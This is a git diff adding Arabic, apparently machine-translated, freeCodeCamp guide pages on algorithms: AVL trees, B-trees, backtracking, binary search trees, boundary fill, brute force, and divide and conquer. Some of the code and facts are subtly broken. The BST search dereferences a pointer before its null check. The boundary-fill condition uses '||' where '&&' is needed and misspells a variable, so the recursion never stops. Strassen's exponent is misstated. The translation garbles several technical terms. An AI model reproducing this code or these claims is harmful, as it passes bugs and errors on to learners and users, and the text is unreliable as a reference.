+هذه هي قوة التدوين الكبير: فهي تسمح للمطورين برؤية الاختناقات المحتملة لتطبيقهم بسهولة ، واتخاذ خطوات لجعلها أكثر قابلية للتوسع.
+
+لمزيد من المعلومات حول سبب أهمية تحليلات big-O و algorithm ، قم بزيارة [تحدي الفيديو](https://www.freecodecamp.com/videos/big-o-notation-what-it-is-and-why-you-should-care) هذا!
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/avl-trees/index.md b/client/src/guide/arabic/algorithms/avl-trees/index.md
new file mode 100644
index 0000000000..9f0791bbac
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/avl-trees/index.md
@@ -0,0 +1,52 @@
+---
+title: AVL Trees
+localeTitle: أشجار AVL
+---
+## أشجار AVL
+
+شجرة AVL هي نوع فرعي من شجرة البحث الثنائية.
+
+A BST هي بنية بيانات تتكون من العقد. لديها الضمانات التالية:
+
+1.  كل شجرة لديها عقدة جذرية (في الجزء العلوي).
+2.  العقدة الجذرية لديها صفر أو أكثر من العقد التابعة.
+3.  كل عقدة طفل لديها صفر أو أكثر العقد التابعة ، وهلم جرا.
+4.  كل عقدة لديها ما يصل إلى طفلين.
+5.  لكل عقدة ، يكون أحفادها الأيسر أقل من العقدة الحالية ، وهي أقل من الأسبقية الصحيحة.
+
+تتمتع أشجار AVL بضمان إضافي:
+
+6.  لا يمكن أن يكون الفرق بين عمق الأشجار الفرعية اليمنى واليسرى أكثر من واحد. للحفاظ على هذا الضمان ، سيشمل تنفيذ AVL خوارزمية لإعادة توازن الشجرة عند إضافة عنصر إضافي من شأنه أن يخل بهذا الضمان.
+
+تحتوي أشجار AVL على أسوأ حالة بحث ، وإدراج وحذف وقت O (log n).
+
+### الدوران الأيمن
+
+![شجرة AVL التناوب الصحيح](https://raw.githubusercontent.com/HebleV/valet_parking/master/images/avl_right_rotation.jpg)
+
+### الدوران الأيسر
+
+![شجرة AVL تناوب اليسار](https://raw.githubusercontent.com/HebleV/valet_parking/master/images/avl_left_rotation.jpg)
+
+### عملية الإدراج AVL
+
+ستفعل إدخال مشابه لإدراج شجرة البحث الثنائي العادي. بعد الإدراج ، يمكنك إصلاح خاصية AVL باستخدام عمليات الاستدارة إلى اليمين أو اليسار.
+
+*   إذا كان هناك اختلال في الطفل الأيسر من الشجرة الفرعية الصحيحة ، عندئذ تقوم بتدوير يسار يمين.
+*   إذا كان هناك اختلال في الطفل الأيسر من الشجرة الفرعية اليسرى ، فأنت تقوم بتناوب اليمين.
+*   إذا كان هناك اختلال في الطفل الصحيح من الشجرة الفرعية الصحيحة ، فأنت تقوم بتدوير اليسار.
+*   إذا كان هناك اختلال في الطفل الأيمن من الشجرة الفرعية اليسرى ، فأنت تقوم بتناوب اليمين إلى اليسار.
+
+#### معلومات اكثر:
+
+[يوتيوب - شجرة AVL](https://www.youtube.com/watch?v=7m94k2Qhg68)
+
+شجرة AVL هي شجرة بحث ثنائية التوازن الذاتي. شجرة AVL هي شجرة بحث ثنائية لها الخصائص التالية: -> تختلف الأشجار الفرعية لكل عقدة في الارتفاع بمقدار واحد على الأكثر. -> كل شجرة فرعية هي شجرة AVL.
+
+تتحقق شجرة AVL من ارتفاع اليسار والأشجار الفرعية اليمنى وتؤكد أن الفرق لا يزيد عن 1. ويسمى هذا الاختلاف "عامل التوازن". يكون طول شجرة AVL دائمًا O (Logn) حيث n هو عدد العقد في الشجرة.
+
+دورات AVL للشجرة: -
+
+في شجرة AVL ، بعد تنفيذ كل عملية مثل الإدراج والحذف ، نحتاج إلى التحقق من عامل التوازن لكل عقدة في الشجرة. إذا استوفت كل عقدة شرط عامل التوازن ، فإننا ننتهي من العملية وإلا يجب أن نجعلها متوازنة. نحن نستخدم عمليات الدوران لجعل الشجرة متوازنة عندما تصبح الشجرة غير متوازنة بسبب أي عملية.
+
+تستخدم عمليات الدوران لجعل الشجرة متوازنة. يوجد أربع دورات ويتم تصنيفها إلى نوعين: -> دوران يسار واحد (دوران LL) في LL Rotation ، تقوم كل عقدة بنقل موضع واحد إلى اليسار من الموضع الحالي. -> دوران لليمين (دوران RR) في تناوب RR ، تقوم كل عقدة بنقل موضع واحد إلى اليمين من الموضع الحالي. -> دوران لليمين الأيسر (دورة LR) إن LR Rotation هو عبارة عن مجموعة من الدوران الأيسر المتبقي متبوعًا بالدوران اليميني المفرد. في LR Rotation ، تقوم كل عقدة أولاً بنقل موضع واحد إلى اليسار ثم موضع واحد إلى اليمين من الموضع الحالي. -> تناوب يمين يسار (دوران RL) يكون RL Rotation عبارة عن توليفة من الدوران الأيمن الفردي متبوعًا بالدوران الأيسر الوحيد. في RL Rotation ، تقوم كل عقدة أولاً بنقل موضع واحد إلى اليمين ثم موضع واحد إلى اليسار من الموضع الحالي.
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/b-trees/index.md b/client/src/guide/arabic/algorithms/b-trees/index.md
new file mode 100644
index 0000000000..31fe317937
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/b-trees/index.md
@@ -0,0 +1,15 @@
+---
+title: B Trees
+localeTitle: ب الأشجار
+---
+## ب الأشجار
+
+# المقدمة
+
+B-Tree عبارة عن شجرة بحث ذات توازن ذاتي. في معظم أشجار البحث عن التوازن الذاتي (مثل AVL و Red Black Trees) ، من المفترض أن كل شيء في الذاكرة الرئيسية. لفهم استخدام B-Trees ، يجب أن نفكر في كمية هائلة من البيانات التي لا يمكن احتواؤها في الذاكرة الرئيسية. عندما يكون عدد المفاتيح مرتفعًا ، تتم قراءة البيانات من القرص في شكل كتل. وقت الوصول للقرص مرتفع جدًا مقارنة بوقت الوصول الرئيسي للذاكرة. الفكرة الرئيسية لاستخدام B-Trees هي تقليل عدد مرات الوصول إلى القرص. تتطلب معظم عمليات الشجرة (البحث أو الإدراج أو الحذف أو الحد الأقصى أو الحد الأدنى أو ..) إدخال O (h) للقرص حيث h ارتفاع الشجرة. ب شجرة هي شجرة الدهون. يتم الاحتفاظ ارتفاع B-Trees منخفضة عن طريق وضع أقصى مفاتيح ممكنة في عقدة B-Tree. بشكل عام ، يتم الاحتفاظ حجم عقدة B-Tree مساوية لحجم كتلة القرص. بما أن h منخفض لـ B-Tree ، فإن إجمالي الوصول للقرص لمعظم العمليات يتم تقليله بشكل كبير مقارنةً بأشجار Binary Search المتوازنة مثل AVL Tree و Red Black Tree و ..etc.
+
+خصائص B-Tree: 1) جميع الأوراق في نفس المستوى. 2) يتم تعريف B-tree بالحد الأدنى من الدرجة 't'. تعتمد قيمة t على حجم كتلة القرص. 3) يجب أن تحتوي كل عقدة ما عدا الجذر على مفاتيح t-1 على الأقل. قد يحتوي الجذر على مفتاح 1 كحد أدنى. 4) جميع العقد (بما في ذلك الجذر) قد تحتوي على أكثر من 2t - 1 مفاتيح. 5) عدد أطفال العقدة يساوي عدد المفاتيح الموجودة به زائد 1. 6) يتم فرز جميع مفاتيح العقدة بترتيب متزايد. يحتوي الطفل بين مفتاحين k1 و k2 على كافة المفاتيح في النطاق من k1 و k2. 7) B-Tree ينمو وينكمش من الجذر الذي لا يشبه Binary Search Tree. أشجار البحث الثنائي تنمو إلى الأسفل وتقلص أيضًا من الهبوط. 8) مثل غيرها من الأشجار المتوازنة البحث ثنائي ، تعقيد الوقت للبحث ، وإدراج وحذف هو O (Logn).
+
+بحث: يشبه البحث البحث في Binary Search Tree. دع المفتاح ليتم البحث عنه ك. نبدأ من الجذر والعكس بشكل متكرر. لكل عقدة non-leaf التي تمت زيارتها ، إذا كان للعقدة مفتاح ، فإننا نعيد العقدة ببساطة. وإلا فإننا نتراجع إلى الطفل المناسب (الطفل الذي هو قبل المفتاح الأول الأكبر) للعقدة. إذا وصلنا إلى عقدة أوراق ولم نعثر على k في عقدة الورقة ، نرجع NULL.
+
+اجتياز: Traversal هو أيضا مماثل لاجتياز اجتياز شجرة ثنائية. نبدأ من الطفل الموجود في أقصى اليسار ، ونقوم بشكل متكرر بطباعة الطفل الموجود في أقصى اليسار ، ثم نكرر نفس العملية للأطفال والبقية المتبقين. في النهاية ، بشكل متكرر طباعة الطفل في أقصى اليمين.
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/backtracking-algorithms/index.md b/client/src/guide/arabic/algorithms/backtracking-algorithms/index.md
new file mode 100644
index 0000000000..3f0170f9ee
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/backtracking-algorithms/index.md
@@ -0,0 +1,53 @@
+---
+title: Backtracking Algorithms
+localeTitle: خوارزميات التراجع
+---
+# خوارزميات التراجع
+
+التراجع هو خوارزمية عامة لإيجاد كل الحلول (أو بعض) لبعض المشاكل الحسابية ، ولا سيما مشاكل الرضا المقيدة ، التي تبني بشكل متزايد المرشحين للحلول ، وتتخلى عن كل مرشح جزئي _("backtracks")_ بمجرد أن يحدد أن المرشح لا يستطيع من المحتمل أن تكتمل إلى حل صالح.
+
+### مثال على المشكلة (مشكلة جولة فارس)
+
+_يتم وضع الفارس على أول كتلة من لوحة فارغة ، ويتحرك وفقا لقواعد لعبة الشطرنج ، يجب زيارة كل مربع مرة واحدة بالضبط._
+
+\# # # # # اتبعها فارس لتغطية جميع الخلايا فيما يلي هو رقعة الشطرنج مع 8 × 8 خلايا. تشير الأرقام في الخلايا إلى تحريك عدد Knight. [![حل جولة فارس - عن طريق اويلر](https://upload.wikimedia.org/wikipedia/commons/d/df/Knights_tour_%28Euler%29.png)](https://commons.wikimedia.org/wiki/File:Knights_tour_(Euler).png)
+
+### خوارزمية السذاجة لجولة نايت
+
+تقوم Naive Algorithm بتوليد جميع الجولات واحدة تلو الأخرى والتحقق مما إذا كانت الجولة التي تم إنشاؤها تفي بالقيود.
+
+ `while there are untried tours 
+ { 
+   generate the next tour 
+   if this tour covers all squares 
+   { 
+      print this path; 
+   } 
+ } 
+` 
+
+### خوارزمية التراجع عن جولة نايت
+
+فيما يلي خوارزمية Backtracking لمشكلة جولة Knight.
+
+ `If all squares are visited 
+    print the solution 
+ Else 
+   a) Add one of the next moves to solution vector and recursively 
+   check if this move leads to a solution. (A Knight can make maximum 
+   eight moves. We choose one of the 8 moves in this step). 
+   b) If the move chosen in the above step doesn't lead to a solution 
+   then remove this move from the solution vector and try other 
+   alternative moves. 
+   c) If none of the alternatives work then return false (Returning false 
+   will remove the previously added item in recursion and if false is 
+   returned by the initial call of recursion then "no solution exists" ) 
+` 
+
+### معلومات اكثر
+
+[ويكيبيديا](https://en.wikipedia.org/wiki/Backtracking)
+
+[المهوسون 4 المهوسون](http://www.geeksforgeeks.org/backtracking-set-1-the-knights-tour-problem/)
+
+[مقدمة مثيرة جدا للرجوع](https://www.hackerearth.com/practice/basic-programming/recursion/recursion-and-backtracking/tutorial/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/binary-search-trees/index.md b/client/src/guide/arabic/algorithms/binary-search-trees/index.md
new file mode 100644
index 0000000000..a0cf05783b
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/binary-search-trees/index.md
@@ -0,0 +1,265 @@
+---
+title: Binary Search Trees
+localeTitle: أشجار البحث الثنائي
+---
+## أشجار البحث الثنائي
+
+![شجرة البحث الثنائية](https://cdn-images-1.medium.com/max/1320/0*x5o1G1UpM1RfLpyx.png)
+
+الشجرة هي بنية بيانات تتكون من عقد لها الخصائص التالية:
+
+1.  كل شجرة لديها عقدة جذرية (في الجزء العلوي) لديها بعض القيمة.
+2.  العقدة الجذرية لديها صفر أو أكثر من العقد التابعة.
+3.  كل عقدة طفل لديها صفر أو أكثر العقد التابعة ، وهلم جرا. هذا إنشاء شجرة فرعية في الشجرة. تحتوي كل عقدة على شجرة فرعية خاصة بها تتكون من أطفاله وأطفالهم ، إلخ. وهذا يعني أن كل عقدة بمفردها يمكن أن تكون شجرة.
+
+تضيف شجرة البحث الثنائية (BST) هاتين الخاصيتين:
+
+1.  كل عقدة لديها حد أقصى يصل إلى طفلين.
+2.  لكل عقدة ، تكون قيم العقد المتسلسلة اليسرى أقل من عقدة العقدة الحالية ، والتي بدورها تكون أقل من العقد التناسلية الصحيحة (إن وجدت).
+
+يتم إنشاء BST على فكرة خوارزمية [البحث الثنائي](https://guide.freecodecamp.org/algorithms/search-algorithms/binary-search) ، والتي تسمح [بالبحث](https://guide.freecodecamp.org/algorithms/search-algorithms/binary-search) السريع وإدخال وإزالة العقد. إن الطريقة التي يتم بها إعدادها تعني أنه في المتوسط ​​، تسمح كل مقارنة للعمليات بتخطي حوالي نصف الشجرة ، بحيث يستغرق كل بحث أو إدراج أو حذف وقتًا متناسبًا مع لوغاريتم عدد العناصر المخزنة في الشجرة ، `O(log n)` . ومع ذلك ، في بعض الأحيان يمكن أن يحدث أسوأ الحالات ، عندما تكون الشجرة غير متوازنة ويكون تعقيد الوقت هو `O(n)` لكل هذه الوظائف الثلاثة. هذا هو السبب في أشجار التوازن الذاتي (AVL ، أحمر أسود ، وما إلى ذلك) هي أكثر فعالية من BST الأساسية.
+
+**أسوأ مثال على سيناريو الحالة:** يمكن أن يحدث هذا عند الاستمرار في إضافة العقد التي تكون _دائمًا_ أكبر من العقدة قبل (إنه الأصل) ، ويمكن أن يحدث نفس الشيء عندما تقوم دائمًا بإضافة العقد ذات القيم الأقل من أولياء أمورهم.
+
+### العمليات الأساسية على BST
+
+*   إنشاء: ينشئ شجرة فارغة.
+*   إدراج: إدراج عقدة في الشجرة.
+*   بحث: يبحث عن عقدة في الشجرة.
+*   حذف: لحذف عقدة من الشجرة.
+
+#### خلق
+
+في البداية يتم إنشاء شجرة فارغة بدون أي عقد. تتم تهيئة المتغير / المعرف الذي يجب أن يشير إلى عقدة الجذر بقيمة `NULL` .
+
+#### بحث
+
+تبدأ دائمًا في البحث عن الشجرة في عقدة الجذر والنزول من هناك. يمكنك مقارنة البيانات في كل عقدة مع تلك التي تبحث عنها. إذا لم تتطابق العقدة المقارنة ، فإما أن تنتقل إلى الطفل الصحيح أو الطفل الأيسر ، والذي يعتمد على نتيجة المقارنة التالية: إذا كانت العقدة التي تبحث عنها أقل من تلك التي كنت تقارنها بها ، تنتقل إلى الطفل الأيسر ، وإلا (إذا كان أكبر) ، فانتقل إلى الطفل الصحيح. لماذا ا؟ نظرًا لأن BST منظم (وفقًا لتعريفه) ، فإن الطفل المناسب دائمًا يكون أكبر من الأصل وأن الطفل الأيسر يكون دائمًا أقل.
+
+#### إدراج
+
+انها تشبه الى حد بعيد وظيفة البحث. تبدأ مرة أخرى عند جذر الشجرة وتنزل بشكل متكرر ، حيث تبحث عن المكان المناسب لإدخال العقدة الجديدة ، بنفس الطريقة الموضحة في وظيفة البحث. إذا كانت العقدة ذات القيمة نفسها موجودة بالفعل في الشجرة ، يمكنك اختيار إما إدراج التكرار أم لا. بعض الأشجار تسمح بوجود نسخ مكررة ، والبعض الآخر لا يسمح بذلك. ذلك يعتمد على تنفيذ معين.
+
+#### حذف
+
+هناك 3 حالات يمكن أن تحدث عندما تحاول حذف عقدة. إذا كان لديه،
+
+1.  لا توجد شجرة فرعية (لا يوجد أطفال): هذا هو الأسهل. يمكنك ببساطة حذف العقدة ، دون أي إجراءات إضافية مطلوبة.
+2.  شجرة فرعية واحدة (طفل واحد): يجب عليك التأكد من أنه بعد حذف العقدة ، يتم توصيل الطفل التابع له إلى أصل العقدة المحذوفة.
+3.  صفحتان فرعيتان (طفلين): عليك البحث عن واستبدال العقدة التي تريد حذفها مع خلفها (العقدة الفاتنة في الشجرة الفرعية الصحيحة).
+
+وقت تعقيد إنشاء الشجرة هو `O(1)` . يعتمد تعقيد وقت البحث عن عقدة أو إدخالها أو حذفها على ارتفاع الشجرة `h` ، لذا فإن الحالة الأسوأ هي `O(h)` .
+
+#### سلف عقدة
+
+يمكن وصف الإصدارات السابقة بأنها العقدة التي ستظهر قبل العقدة التي أنت فيها حاليًا. للعثور على سابق العقدة الحالية ، ابحث عن العقدة اليمنى الأكبر / الأكبر في الشجرة الفرعية اليسرى.
+
+#### خلف العقدة
+
+يمكن وصف الخلفاء على أنهم العقدة التي تأتي بعد العقدة التي أنت فيها حاليًا. للعثور على خليفة العقدة الحالية ، انظر إلى العقدة اليسرى / أقصى اليسار في الشجرة الفرعية اليمنى.
+
+### أنواع خاصة من BT
+
+*   كومة
+*   شجرة حمراء سوداء
+*   B-شجرة
+*   شجرة سبلاي
+*   شجرة N-ary
+*   تري (شجرة الجذر)
+
+### وقت التشغيل
+
+**هيكل البيانات: صفيف**
+
+*   أسوأ حالة أداء: `O(log n)`
+*   أداء أفضل أداء: `O(1)`
+*   متوسط ​​الأداء: `O(log n)`
+*   أسوأ تعقيد في الفضاء: `O(1)`
+
+حيث `n` هو عدد العقد في BST.
+
+### تنفيذ BST
+
+وإليك تعريفًا لعقدة BST التي تحتوي على بعض البيانات ، مع الإشارة إلى عقد الطفل اليمنى واليسرى.
+
+ `struct node { 
+   int data; 
+   struct node *leftChild; 
+   struct node *rightChild; 
+ }; 
+` 
+
+#### عملية البحث
+
+عندما يتم البحث عن عنصر ، ابدأ البحث من العقدة الجذرية. ثم إذا كانت البيانات أقل من قيمة المفتاح ، فابحث عن العنصر في الشجرة الفرعية اليسرى. خلاف ذلك ، ابحث عن العنصر في الشجرة الفرعية الصحيحة. اتبع نفس الخوارزمية لكل عقدة.
+
+ `struct node* search(int data){ 
+   struct node *current = root; 
+   printf("Visiting elements: "); 
+ 
+   while(current->data != data){ 
+ 
+      if(current != NULL) { 
+         printf("%d ",current->data); 
+ 
+         //go to left tree 
+         if(current->data > data){ 
+            current = current->leftChild; 
+         }//else go to right tree 
+         else { 
+            current = current->rightChild; 
+         } 
+ 
+         //not found 
+         if(current == NULL){ 
+            return NULL; 
+         } 
+      } 
+   } 
+   return current; 
+ } 
+` 
+
+#### أدخل العملية
+
+عندما يتم إدراج عنصر ، حدد موقعه الصحيح أولاً. ابدأ البحث من العقدة الجذرية ، ثم إذا كانت البيانات أقل من قيمة المفتاح ، ابحث عن الموقع الفارغ في الشجرة الفرعية اليسرى وأدخل البيانات. وإلا ، فابحث عن الموقع الفارغ في الشجرة الفرعية الصحيحة وأدخل البيانات.
+
+ `void insert(int data) { 
+   struct node *tempNode = (struct node*) malloc(sizeof(struct node)); 
+   struct node *current; 
+   struct node *parent; 
+ 
+   tempNode->data = data; 
+   tempNode->leftChild = NULL; 
+   tempNode->rightChild = NULL; 
+ 
+   //if tree is empty 
+   if(root == NULL) { 
+      root = tempNode; 
+   } else { 
+      current = root; 
+      parent = NULL; 
+ 
+      while(1) { 
+         parent = current; 
+ 
+         //go to left of the tree 
+         if(data < parent->data) { 
+            current = current->leftChild; 
+            //insert to the left 
+ 
+            if(current == NULL) { 
+               parent->leftChild = tempNode; 
+               return; 
+            } 
+         }//go to right of the tree 
+         else { 
+            current = current->rightChild; 
+ 
+            //insert to the right 
+            if(current == NULL) { 
+               parent->rightChild = tempNode; 
+               return; 
+            } 
+         } 
+      } 
+   } 
+ } 
+` 
+
+تتيح لنا أيضًا أشجار البحث الثنائي (BSTs) الوصول السريع إلى الأسلاف والخلفاء. يمكن وصف الإصدارات السابقة بأنها العقدة التي ستظهر قبل العقدة التي أنت فيها حاليًا.
+
+*   للعثور على سابق العقدة الحالية ، انظر إلى العقدة الموجودة في أقصى اليمين / أعلى ورقة في الشجرة الفرعية اليسرى. يمكن وصف الخلفاء على أنهم العقدة التي تأتي بعد العقدة التي أنت فيها حاليًا.
+*   للعثور على خليفة العقدة الحالية ، انظر إلى العقدة في أقصى اليسار / أصغر ورقة في الشجرة الفرعية اليمنى.
+
+### دعونا ننظر في اثنين من الإجراءات التي تعمل على الأشجار.
+
+بما أن الأشجار يتم تعريفها بشكل متكرر ، فمن الشائع جدًا كتابة الإجراءات الروتينية التي تعمل على أشجار متكررة.
+
+على سبيل المثال ، إذا أردنا حساب ارتفاع الشجرة ، وهذا هو ارتفاع العقدة الجذرية ، يمكننا المضي قدمًا وبشكل متكرر ، من خلال الانتقال إلى الشجرة. لذلك يمكننا القول:
+
+*   على سبيل المثال ، إذا كان لدينا شجرة صفراء ، فإن ارتفاعها يبلغ 0.
+*   بخلاف ذلك ، نحن 1 زائد الحد الأقصى لشجرة الطفل اليسرى والشجرة الفرعية المناسبة.
+*   لذلك إذا نظرنا إلى ورقة على سبيل المثال ، فإن هذا الارتفاع سيكون 1 لأن ارتفاع الطفل الأيسر هو صفر ، هو 0 ، وارتفاع الطفل الأيمن صفر هو أيضا 0. لذا فإن الحد الأقصى لذلك هو 0 ، ثم 1 زائد 0.
+
+#### خوارزمية الارتفاع (شجرة)
+
+ `if tree = nil: 
+    return 0 
+ return 1 + Max(Height(tree.left),Height(tree.right)) 
+` 
+
+#### هنا هو رمز في C ++
+
+ `int maxDepth(struct node* node) 
+ { 
+    if (node==NULL) 
+        return 0; 
+   else 
+   { 
+       int rDepth = maxDepth(node->right); 
+       int lDepth = maxDepth(node->left); 
+ 
+       if (lDepth > rDepth) 
+       { 
+           return(lDepth+1); 
+       } 
+       else 
+       { 
+            return(rDepth+1); 
+       } 
+   } 
+ } 
+` 
+
+يمكن أن ننظر أيضا في حساب حجم الشجرة التي هي عدد العقد.
+
+*   مرة أخرى ، إذا كان لدينا شجرة لا شيء ، لدينا عقد الصفر.
+*   خلاف ذلك ، لدينا عدد العقد في الطفل الأيسر بالإضافة إلى 1 لأنفسنا بالإضافة إلى عدد العقد في الطفل الصحيح. 1 بالإضافة إلى حجم الشجرة اليسرى بالإضافة إلى حجم الشجرة الصحيحة.
+
+#### خوارزمية الحجم (شجرة)
+
+ `if tree = nil 
+    return 0 
+ return 1 + Size(tree.left) + Size(tree.right) 
+` 
+
+#### هنا هو رمز في C ++
+
+ `int treeSize(struct node* node) 
+ { 
+    if (node==NULL) 
+        return 0; 
+    else 
+        return 1+(treeSize(node->left) + treeSize(node->right)); 
+ } 
+` 
+
+### مقاطع الفيديو ذات الصلة على قناة YouTube freeCodeCamp
+
+*   [شجرة البحث الثنائية](https://youtu.be/5cU1ILGy6dM)
+*   [شجرة البحث الثنائية: عبور والطول](https://youtu.be/Aagf3RyK3Lw)
+
+### فيما يلي الأنواع الشائعة من الأشجار الثنائية:
+
+Full Binary Tree / Strict Binary Tree: شجرة ثنائية ممتلئة أو صارمة إذا كان لكل عقدة 0 أو 2 أطفال.
+
+ `           18 
+       /       \ 
+     15         30 
+    /  \        /  \ 
+  40    50    100   40 
+` 
+
+في شجرة الثنائي الكاملة ، عدد العقد الورقية يساوي عدد العقد الداخلية زائد واحد.
+
+إكمال Binary Tree: A Binary Tree اكتمال Binary Tree إذا تمت تعبئة كافة المستويات تمامًا باستثناء المستوى الأخير ، بينما يحتوي المستوى الأخير على كافة المفاتيح التي تم تركها قدر الإمكان
+
+ `           18 
+       /       \ 
+     15         30 
+    /  \        /  \ 
+  40    50    100   40 
+ /  \   / 
+ 8   7  9 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/boundary-fill/index.md b/client/src/guide/arabic/algorithms/boundary-fill/index.md
new file mode 100644
index 0000000000..269f13dd54
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/boundary-fill/index.md
@@ -0,0 +1,43 @@
+---
+title: Boundary Fill
+localeTitle: تعبئة الحدود
+---
+## تعبئة الحدود
+
+التعبئة الحدودية هي الخوارزمية المستخدمة بشكل متكرر في رسومات الكمبيوتر لملء اللون المطلوب داخل مضلع مغلق له نفس الحدود اللون لجميع جوانبها.
+
+يعتبر تنفيذ الخوارزمية الأكثر تقارباً دالة متكررة تستند إلى مكدس.
+
+### العمل:
+
+المشكلة بسيطة جدًا وتتبع عادةً الخطوات التالية:
+
+1.  خذ موضع نقطة البداية ولون الحدود.
+2.  قرّر منطقيًا تريد الذهاب في 4 اتجاهات (N، S، W، E) أو 8 اتجاهات (N، S، W، E، NW، NE، SW، SE).
+3.  اختر لون تعبئة.
+4.  السفر في تلك الاتجاهات.
+5.  إذا كانت وحدة البكسل التي تصل إليها ليست لون التعبئة أو لون الحدود ، فاستبدلها بلون التعبئة.
+6.  كرر 4 و 5 حتى تكون في كل مكان داخل الحدود.
+
+### قيود معينة:
+
+*   يجب أن يكون اللون الحدودي هو نفسه لجميع حواف المضلع.
+*   يجب أن تكون نقطة البداية داخل المضلع.
+
+### رمز مقتطف:
+
+ `void boundary_fill(int pos_x, int pos_y, int boundary_color, int fill_color) 
+ { 
+   current_color= getpixel(pos_x,pos_y);  //get the color of the current pixel position 
+   if( current_color!= boundary_color || currrent_color != fill_color) // if pixel not already filled or part of the boundary then 
+   { 
+     putpixel(pos_x,pos_y,fill_color);  //change the color for this pixel to the desired fill_color 
+     boundary_fill(pos_x + 1, pos_y,boundary_color,fill_color);  // perform same function for the east pixel 
+     boundary_fill(pos_x - 1, pos_y,boundary_color,fill_color);  // perform same function for the west pixel 
+     boundary_fill(pos_x, pos_y + 1,boundary_color,fill_color);  // perform same function for the north pixel 
+     boundary_fill(pos_x, pos_y - 1,boundary_color,fill_color);  // perform same function for the south pixel 
+    } 
+ } 
+` 
+
+من الكود المعطى يمكنك أن ترى أنه لأي بكسل تصله ، عليك أولا التحقق مما إذا كان يمكن تغييره إلى fill\_color ومن ثم تقوم بذلك لجيرانه حتى يتم فحص كل البكسلات الموجودة داخل الحدود.
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/brute-force-algorithms/index.md b/client/src/guide/arabic/algorithms/brute-force-algorithms/index.md
new file mode 100644
index 0000000000..cd6b1b43b9
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/brute-force-algorithms/index.md
@@ -0,0 +1,17 @@
+---
+title: Brute Force Algorithms
+localeTitle: خوارزميات القوة الغاشمة
+---
+## خوارزميات القوة الغاشمة
+
+تشير خوارزميات Force Brute إلى نمط البرمجة الذي لا يتضمن أي اختصارات لتحسين الأداء ، ولكن بدلاً من ذلك يعتمد على قوة الحوسبة المحضة لتجربة كل الاحتمالات حتى يتم العثور على حل لمشكلة ما.
+
+مثال تقليدي هو مشكلة بائع السفر (TSP). لنفترض أن أحد مندوبي المبيعات يحتاج إلى زيارة 10 مدن في جميع أنحاء البلاد. كيف يمكن للمرء تحديد الترتيب الذي ينبغي أن تزوره المدن بحيث يتم تصغير المسافة الإجمالية التي يتم قطعها؟ إن حل القوة الغاشمة هو ببساطة حساب المسافة الكلية لكل طريق ممكن ثم اختيار أقصر طريق. هذا ليس فعال بشكل خاص لأنه من الممكن القضاء على العديد من الطرق الممكنة من خلال الخوارزميات الذكية.
+
+مثال آخر: كلمة المرور 5 أرقام ، في أسوأ الحالات السيناريو سيستغرق 10 5 محاولات للقضاء.
+
+وقت تعقيد القوة الغاشمة هو **O (n \* m)** . لذا ، إذا كنا نبحث عن سلسلة من الأحرف "n" في سلسلة من الأحرف "m" باستخدام القوة الغاشمة ، فستأخذنا محاولات n \* m.
+
+#### معلومات اكثر:
+
+[ويكيبيديا](https://en.wikipedia.org/wiki/Brute-force_search)
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/divide-and-conquer-algorithms/index.md b/client/src/guide/arabic/algorithms/divide-and-conquer-algorithms/index.md
new file mode 100644
index 0000000000..09aa366a3e
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/divide-and-conquer-algorithms/index.md
@@ -0,0 +1,33 @@
+---
+title: Divide and Conquer Algorithms
+localeTitle: خوارزمية تقسيم و قهر
+---
+## خوارزمية تقسيم و قهر
+
+تقسيم وقهر (المقدمة) مثل Greedy و Dynamic Programming ، يعتبر Divide و Conquer نموذجًا خوارزميًا. تحل خوارزمية Divide و Conquer النموذجية مشكلة باستخدام الخطوات الثلاث التالية.
+
+1.  القسمة: كسر المشكلة المعطاة إلى مشاكل فرعية من نفس النوع.
+2.  قهر: حل متكرر هذه المشاكل الفرعية
+3.  الجمع بين: الجمع بين الإجابات بشكل مناسب
+
+فيما يلي بعض الخوارزميات القياسية التي هي خوارزميات Divide و Conquer.
+
+1) البحث الثنائي عبارة عن خوارزمية بحث. في كل خطوة ، تقارن الخوارزمية عنصر الإدخال x مع قيمة العنصر الأوسط في الصفيف. إذا تطابقت القيم ، فأرجع فهرس الوسط. وبخلاف ذلك ، إذا كانت x أقل من العنصر الأوسط ، فستتكرر الخوارزمية إلى الجانب الأيسر من العنصر الأوسط ، ثم تتكرر للجانب الأيمن من العنصر الأوسط.
+
+2) Quicksort هو خوارزمية الفرز. تختار الخوارزمية عنصرًا محوريًا ، وتعيد ترتيب عناصر الصفيف بحيث تنتقل جميع العناصر الأصغر من العنصر المحوري المختار إلى الجانب الأيسر من المحور ، وتتحرك جميع العناصر الأكبر إلى الجانب الأيمن. وأخيرًا ، تقوم الخوارزمية بشكل متكرر بفرز subarrays على يمين ويسار العنصر المحوري.
+
+3) دمج التصنيف هو أيضا خوارزمية الفرز. تقسم الخوارزمية المصفوفة إلى نصفين ، وتقوم بترتيبها بشكل متكرر ، ثم تقوم في النهاية بدمج النصفين اللذين تم فرزهما.
+
+4) أقرب نقطة من النقاط المشكلة هي العثور على أقرب زوج من النقاط في مجموعة من النقاط في طائرة س ص. يمكن حل المشكلة في زمن O (n ^ 2) من خلال حساب المسافات لكل زوج من النقاط ومقارنة المسافات للعثور على الحد الأدنى. خوارزمية Divide و Conquer يحل المشكلة في وقت O (nLogn).
+
+5) خوارزمية ستراسن هي خوارزمية فعالة لضرب المصفوفتين. هناك طريقة بسيطة لمضاعفة المصفوفتين تحتاج إلى 3 حلقات متداخلة وهي O (n ^ 3). تضاعف خوارزمية ستراسن مصفوفتين في زمن O (n ^ 2.8974).
+
+6) خوارزمية تحويل Cooley – Tukey Fast Fourier Transform (FFT) هي أكثر الخوارزميات شيوعاً بالنسبة لـ FFT. هو عبارة عن خوارزمية divide و conquer التي تعمل في زمن O (nlogn).
+
